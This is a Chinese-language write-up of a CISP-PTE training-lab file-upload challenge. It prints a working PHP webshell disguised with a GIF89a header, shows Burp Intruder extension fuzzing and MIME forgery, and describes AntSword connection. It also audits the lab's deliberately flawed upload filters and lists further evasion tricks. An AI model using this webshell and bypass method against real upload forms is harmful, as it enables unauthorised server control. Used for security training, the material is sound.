CISP-PTE 文件上传关卡 渗透实战+代码审计

目录

一、渗透实战

1、打开靶场

2、开始答题

3、构建脚本

[(1)GIF89a - 文件头欺骗](#(1)GIF89a - 文件头欺骗)

(2)PHP代码部分

4、直接上传php后缀脚本

5、bp抓包

6、修改报文的MIME

7、配置intruder

(1)配置position

(2)配置payload

8、开启攻击

(1)攻击

(2)分析

9、分析上传路径

10、Hackbar连接

11、连接蚁剑工具

12、查找flag

二、源码分析

1、index.php

2、function.php

3、代码审计

4、绕过分析

[(1)step1 扩展名验证 - 成功绕过](#(1)step1 扩展名验证 - 成功绕过)

[(2)step2 MIME类型验证 - 成功绕过](#(2)step2 MIME类型验证 - 成功绕过)

[(3)step3 内容检测 - 成功绕过](#(3)step3 内容检测 - 成功绕过)

[(4)step4 文件头验证 - 成功绕过](#(4)step4 文件头验证 - 成功绕过)

5、与文件上传5关卡区别


本文演示了CISP-PTE靶场文件上传突破关卡的渗透测试过程,通过构建伪装成GIF的PHP木马(GIF89a文件头+大写EVAL函数),配合BurpSuite修改MIME类型和尝试多种PHP变体后缀(php3/phtml等),成功绕过四重防护:扩展名黑名单、MIME验证、内容检测和文件头检查。最终利用蚁剑连接获取服务器权限,在/var/www/html/key.php中找到flag。源码审计发现关键在于judge()函数未调用step1扩展名验证,且各检测环节存在可绕过缺陷,如MIME依赖客户端可控数据、内容检测仅匹配小写"eval"等。本文完整呈现了代码审计到渗透利用的完整攻防链路。

一、渗透实战

1、打开靶场

打开靶场URL链接,页面如下所示,提示"文件上传是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。尝试获取webshell,答案就在根目录下key.php文件中。"

2、开始答题

点击开始答题,如下所示进入了文件上传的真实页面,具体如下所示。

3、构建脚本

新建一个存放着一句话木马的php文件,脚本名为mooyuan.php。这段GIF89a文件头后嵌入PHP代码的文本,是一个伪装成GIF图片的WebShell后门。它利用图片文件头"GIF89a"绕过安全检查,当服务器被配置为将.gif文件解析为PHP时(如通过.htaccess设置),该文件就会被执行。其中的EVAL($_POST['ljn'])函数允许攻击者通过POST请求执行任意PHP代码,从而完全控制服务器,构成严重的安全威胁。

复制代码
GIF89a
<?php
echo "mooyuan";
@EVAL($_POST['ljn']);
?>

(1)GIF89a - 文件头欺骗

  • 这是一个GIF图片的文件头标识,GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是 47 49 46 38 39 61 ,对应 ASCII 字符就是 GIF89a 。右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。

  • 目的是让服务器将PHP文件误判为图片文件,绕过安全检查

(2)PHP代码部分

复制代码
echo "mooyuan";
@EVAL($_POST['ljn']);

核心后门功能 :包含PHP代码@EVAL($_POST['ljn']),该代码会执行通过POST参数ljn传递的任何PHP指令,为攻击者提供远程服务器控制权限。PHP 函数名不区分大小写,所以 EVAL()eval() 是同一个函数。这里使用大写是为了绕过基于字符串匹配的简单内容检测 (因为检测代码可能只查找小写的 "eval"

隐蔽输出echo "mooyuan"用于在访问时显示正常内容以掩盖恶意行为,同时@符号用于抑制错误信息输出避免暴露。

4、直接上传php后缀脚本

开启bp,同时浏览器代理指向bp,选择mooyuan.php文件并点击上传,如下所示。

观察页面变化,如下所示提示图片上传失败,服务器应该是有对php后缀的脚本进行过滤。

5、bp抓包

使用burpsuite进行抓包,并将报文发送到intruder,具体如下所示。

发送到intruder后,首先点击clear将position的数量变为0,具体如下所示。

6、修改报文的MIME

将MIME字段改为image/gif,具体如下所示。

7、配置intruder

(1)配置position

对上传的文件名mooyuan.php的后缀php选中并点击add,效果如下所示,添加完毕后左下角的payload数量变为1。

(2)配置payload

构造php后缀的绕过字典,包括如php3、php4、phtml、以及大小写绕过的pHP、PHP、Php、pHp等等,对第一个payload使用这个字典进行配置,具体如下所示。

8、开启攻击

(1)攻击

配置完intruder后点击start attack开启攻击,具体如下所示。

攻击结果如下所示,response出现多个不同长度。

(2)分析

点击response-render,具体如下所示,发现多个后缀替换均成功绕过,其中报错php4、php3、php5、phtml等。

9、分析上传路径

以mooyuan3.php为例,找到response的pretty内容,分析其路径,如下所示说明mooyuan3.php被传到网站的根目录下/mooyuan.php3,故而URL如下所示。

复制代码
http://8fe110c0.clsadp.com/mooyuan.php3

10、Hackbar连接

对于上传成功的脚本使用浏览器连接,通关hackbar进行post参数渗透,如下所示渗透成功。

复制代码
http://8fe110c0.clsadp.com/mooyuan3.php
ljn=phpinfo();
复制代码
http://8fe110c0.clsadp.com/mooyuan4.php
ljn=phpinfo();
复制代码
http://8fe110c0.clsadp.com/mooyuan5.php
ljn=phpinfo();
复制代码
http://8fe110c0.clsadp.com/mooyuan.phtml
ljn=phpinfo();
复制代码
http://8fe110c0.clsadp.com/mooyuan.php
ljn=phpinfo();

11、连接蚁剑工具

复制代码
http://8fe110c0.clsadp.com/mooyuan.php
密码ljn

12、查找flag

连接蚁剑工具成功后,右键文件管理进入文件系统,具体如下所示。

进入到文件上传upload的目录/var/www/html/,如下所示都是我们上传成功的多个木马文件,同时我们还发现了key.php,如下所示。。

打开key.php(/var/www/html/key.php),如下所示找到了本关卡的flag,至此完成本关卡的渗透测试。

二、源码分析

1、index.php

既然我们已经拿到了本关卡的权限,我们查看一下源码/var/www/html/start/index.php,具体如下所示。

完整的源码内容如下所示,这是一个具有安全风险的文件上传页面,通过judge函数验证用户上传的文件后将其保存到服务器指定路径,并提供了文件查看链接。

复制代码
<?php error_reporting(0); ?>
<?php include("function.php"); ?>
<html>
<head>
  <title></title>
  <link rel="stylesheet" href="../css/bootstrap.css">
  <link rel="stylesheet" href="../css/nav.css">
  <meta charset="UTF-8">
</head>

<body>

  <?php include '../header.php';?>

  <div class="container mt-5 min-height main-body">


<div class="row">
   <div class="col-7 m-auto">
            <div class="card-content white-text">
              <?php

              $files = @$_FILES["files"];
              
              if (judge($files)) 
    {
                  $fullpath = '/' . $files["name"];
                  if (move_uploaded_file($files['tmp_name'], $_SERVER["DOCUMENT_ROOT"] . $fullpath)) {
                      echo "<a href='$fullpath'>图片上传成功</a>";
                  }
              }
              elseif (!(judge($files))&&!empty($files)) {
	$fullpath = '';
                echo "图片上传失败!";
              }
              

              echo '<form method=POST enctype="multipart/form-data" action="">
                      <input type="file" name="files">
                      <input type=submit value="上传" class="btn btn-warning"></form>';

              ?>
            </div>
            <div class="card-action">
              <?php if($fullpath!= '') { echo "文件有效,上传成功: <a href=\"$fullpath\"> 点我查看</a>"; } ?>
            </div>
  </div>
  </div>


</div>
<?php include '../footer.php';?>
</body>
</html>

2、function.php

接下来我们查看一下源码/var/www/html/start/function.php,查看下judge函数到底是如何进行过滤的,如下所示。

完整的源码如下所示,共使用了黑名单检测、MIME检测、eval检查以及文件头检查四种方法,不过实际上并没有使用如注释一样使用大小写绕过的方法。

复制代码
<?php
	
	//黑名单验证,大小写绕过
	function step1($files)
	{
    	$filename = $files["name"];
    	$ext = substr($filename,strripos($filename,'.') + 1);
    	if ($ext != "php")
    	{
    		return true;
    	}
    	return false;
	}

	//验证MIME头,修改数据包绕过
	function step2($files)
	{

		if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png" ) 
		{
			return true;
		}
		return false;
	}

	//验证文件内容,不能包含eval等敏感函数名,使用其他内容,文件读写
	function step3($files)
	{
		$content = file_get_contents($files["tmp_name"]);

		if (strpos($content, "eval") === false && strpos($content, "assert") === false )
		{
			return true;
		}
		return false;
	}


    //验证文件头
	function step4($files)
	{
		$png_header = "89504e47";
		$jpg_header = "ffd8FFE0";
		$gif_header = "47494638";

		$header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 )); 

		if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0) 
		{
			return true;
		}
		return false;
	}
	
    function judge($files)
    {
    
	    if (step2($files) && step3($files) && step4($files))
	    {
	    	return true;
	    }
	    return false;
	    
    }

?>

3、代码审计

完整的经过注释后的代码如下所示,这是一个存在多处安全风险的文件上传验证系统。它包含四个验证函数:step1通过黑名单检查扩展名但存在大小写绕过风险且未被实际调用;step2验证MIME类型但可被数据包伪造绕过;step3检测文件内容中的"eval"和"assert"函数但可通过编码方式绕过;step4验证文件头相对可靠但配合其他安全风险仍可能被利用。核心问题在于judge函数未调用step1扩展名验证,且整体采用黑名单机制,加上关键验证依赖客户端可控数据,导致攻击者可通过大小写变换、数据包篡改、内容编码等多种方式成功上传恶意文件。

  • step1- 大小写绕过未被调用) :扩展名验证只检查小写"php",可通过.PHP、.Php等绕过。但是在judge()函数中缺少对step1()的调用,完全跳过了扩展名验证,如下所示我们在报文处理中,即便不修改后缀,也能上传成功。
  • step2 - MIME伪造:依赖客户端可修改的Content-Type字段,可被Burp Suite等工具轻易绕过

  • step3 - 内容检测绕过

    • 可使用$_POST['a']($_POST['b'])动态调用

    • 可使用编码、加密、字符串拼接等方式隐藏敏感词

    • 可使用其他危险函数如system()exec()passthru()

  • step4 - 文件头验证

    • 相对安全,但攻击者可以在真实图片中插入恶意代码(图片马)

    • 配合文件包含可能执行恶意代码

      <?php // 黑名单验证,通过检查文件扩展名来阻止PHP文件上传 // 存在绕过风险:可以使用大小写绕过,如.Php、.PHP等 function step1($files) { $filename = $files["name"]; // 获取上传文件的原始名称 $ext = substr($filename,strripos($filename,'.') + 1); // 提取文件扩展名(从最后一个点号后开始) // 黑名单验证:只检查扩展名是否为"php"(小写) // 风险点:没有将扩展名转为小写统一比较,可以通过.PHP、.Php等绕过 if ($ext != "php") { return true; // 扩展名不是"php"则通过验证 } return false; // 扩展名是"php"则验证失败 }
      复制代码
      // 验证MIME类型,通过检查$_FILES['file']['type']来验证
      // 存在绕过风险点:可以通过修改HTTP请求数据包中的Content-Type字段来伪造MIME类型
      function step2($files)
      {
      	// 检查MIME类型是否为图片类型
      	// 风险点:MIME类型来自客户端提交的数据,可以被轻易篡改
      	if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png" ) 
      	{
      		return true; // MIME类型符合要求则通过验证
      	}
      	return false; // MIME类型不符合要求则验证失败
      }
      
      // 验证文件内容,检查是否包含危险函数名
      // 存在绕过风险点:可以使用其他函数或编码方式绕过
      function step3($files)
      {
      	// 读取上传文件的临时存储路径的内容
      	$content = file_get_contents($files["tmp_name"]);
      
      	// 检查文件内容中是否包含"eval"或"assert"字符串
      	// 使用严格比较=== false来判断是否不存在
      	// 风险点:可以通过字符串拼接、编码、注释等方式绕过
      	if (strpos($content, "eval") === false && strpos($content, "assert") === false )
      	{
      		return true; // 不包含危险函数名则通过验证
      	}
      	return false; // 包含危险函数名则验证失败
      }
      
      
      // 验证文件头(魔术数字),通过检查文件的前几个字节来识别真实文件类型
      // 相对安全的验证方式,但仍有绕过可能
      function step4($files)
      {
      	// 定义常见图片格式的文件头(十六进制)
      	$png_header = "89504e47"; // PNG文件头
      	$jpg_header = "ffd8FFE0"; // JPEG文件头(注意大小写混合)
      	$gif_header = "47494638"; // GIF文件头
      	
      	// 读取上传文件的前4个字节并转换为十六进制字符串
      	// file_get_contents参数:文件名,偏移量0,上下文NULL,开始位置0,长度4
      	$header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 )); 
      	
      	// 使用不区分大小写的字符串比较,检查文件头是否符合图片格式
      	// strcasecmp()在相等时返回0
      	if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0) 
      	{
      		return true; // 文件头符合图片格式则通过验证
      	}
      	return false; // 文件头不符合图片格式则验证失败
      }
      
      // 主验证函数,综合调用各个验证步骤
      function judge($files)
      {
      	// 注意:step1函数在此judge函数中未被调用,这是一个逻辑风险问题
          // 只验证了step2、step3、step4,缺少文件扩展名验证
          if (step2($files) && step3($files) && step4($files))
          {
          	return true; // 所有验证都通过
          }
          return false; // 任一验证失败
          
      }

      ?>

4、绕过分析

接下来分析为何如下报文可以绕过服务器的文件上传检测,报文内容如下所示。

复制代码
Content-Disposition: form-data; name="files"; filename="mooyuan.php3"
Content-Type: image/gif

GIF89a
<?php
echo "mooyuan";
@EVAL($_POST['ljn']);
?>

我们通过修改扩展名、伪造MIME类型、大小写变异危险函数、添加合法文件头的组合方式,成功绕过了所有四层防护,最终将PHP木马伪造成GIF图片上传到服务器。

(1)step1 扩展名验证 - 成功绕过

复制代码
filename="mooyuan.php3"  # 使用.php3扩展名
  • 原因step1 函数只检查扩展名是否不等于 "php"

  • .php3 扩展名不等于 "php",因此通过验证

  • 在很多服务器配置中,.php3.php4.php5.phtml 等扩展名也会被当作PHP文件执行

(2)step2 MIME类型验证 - 成功绕过

复制代码
Content-Type: image/gif  # 伪造的MIME类型
  • 原因 :与之前相同,step2 函数只检查 $_FILES['type'],可以被伪造为 image/gif

(3)step3 内容检测 - 成功绕过

复制代码
@EVAL($_POST['ljn']);  # 使用大写EVAL绕过检测
  • 原因step3 使用 strpos($content, "eval") 只查找小写的 "eval"

  • 大写的 "EVAL" 不会被匹配到,因此检测通过

(4)step4 文件头验证 - 成功绕过

复制代码
GIF89a
<?php...
  • 原因 :文件开头是合法的GIF文件头 GIF89a(十六进制:474946383961)

  • step4 函数只检查前4个字节 GIF8,正好匹配GIF文件头标准

实际上,在提供的代码中 step1 函数根本没有在 judge() 中被调用 ,所以即使扩展名是 .php 也能绕过。但使用 .php3 提供了双重保险:

  1. 如果 step1 被调用.php3 能通过黑名单检查

  2. 如果 step1 未被调用:任何扩展名都能直接绕过

5、与文件上传5关卡区别

两段代码的核心区别在于judge函数中的验证逻辑:源码1缺少对step1扩展名验证函数的调用,仅验证step2、step3和step4,这导致攻击者可直接上传.php文件成功绕过所有防护;而源码2修复了这一逻辑风险问题,在judge中完整调用了step1至step4所有验证函数,确保扩展名检查生效,阻止了直接上传.php文件的攻击方式,但两者仍共享相同的黑名单设计缺陷,无法防御通过.php3等替代扩展名的绕过攻击。

对比项 源码1 源码2
judge()函数逻辑 step2 && step3 && step4 step1 && step2 && step3 && step4
step1调用 ❌ 未被调用 ✅ 被调用
安全等级 低(存在逻辑风险问题) 相对较高
相关推荐
mooyuan天天14 小时前
CISP-PTE SQL注入关卡渗透实战(手注法+sqlmap法)
sql注入·sqlmap·sql注入漏洞·ctf-pte
mooyuan天天2 天前
CISP-PTE 文件上传8(两种方法渗透:bp法+脚本法)
文件上传·cisp-pte·文件上传漏洞
南部余额7 天前
Spring Boot 整合 MinIO:封装常用工具类简化文件上传、启动项目初始化桶
java·spring boot·后端·文件上传·工具类·minio·minioutils
mooyuan天天11 天前
CISP-PTE 命令执行2
命令执行·命令执行漏洞·ctf-pte
mooyuan天天13 天前
CISP-PTE 文件上传5
文件上传·cisp-pte·文件上传漏洞·黑名单绕过
mooyuan天天13 天前
CISP-PTE 文件上传1
文件上传·cisp-pte·文件上传漏洞
xiangxiongfly91514 天前
Node http
http·node·文件上传·请求·文件下载·响应
mooyuan天天24 天前
Nginx错误配置解析复现:原理详解+环境搭建+渗透实践(文件上传)
文件上传漏洞·nginx解析漏洞·php-fpm错误配置解析漏洞·nginx错误解析漏洞
pinesawfly1 个月前
[强网杯 2019]upload
web·buu·文件上传·php反序列化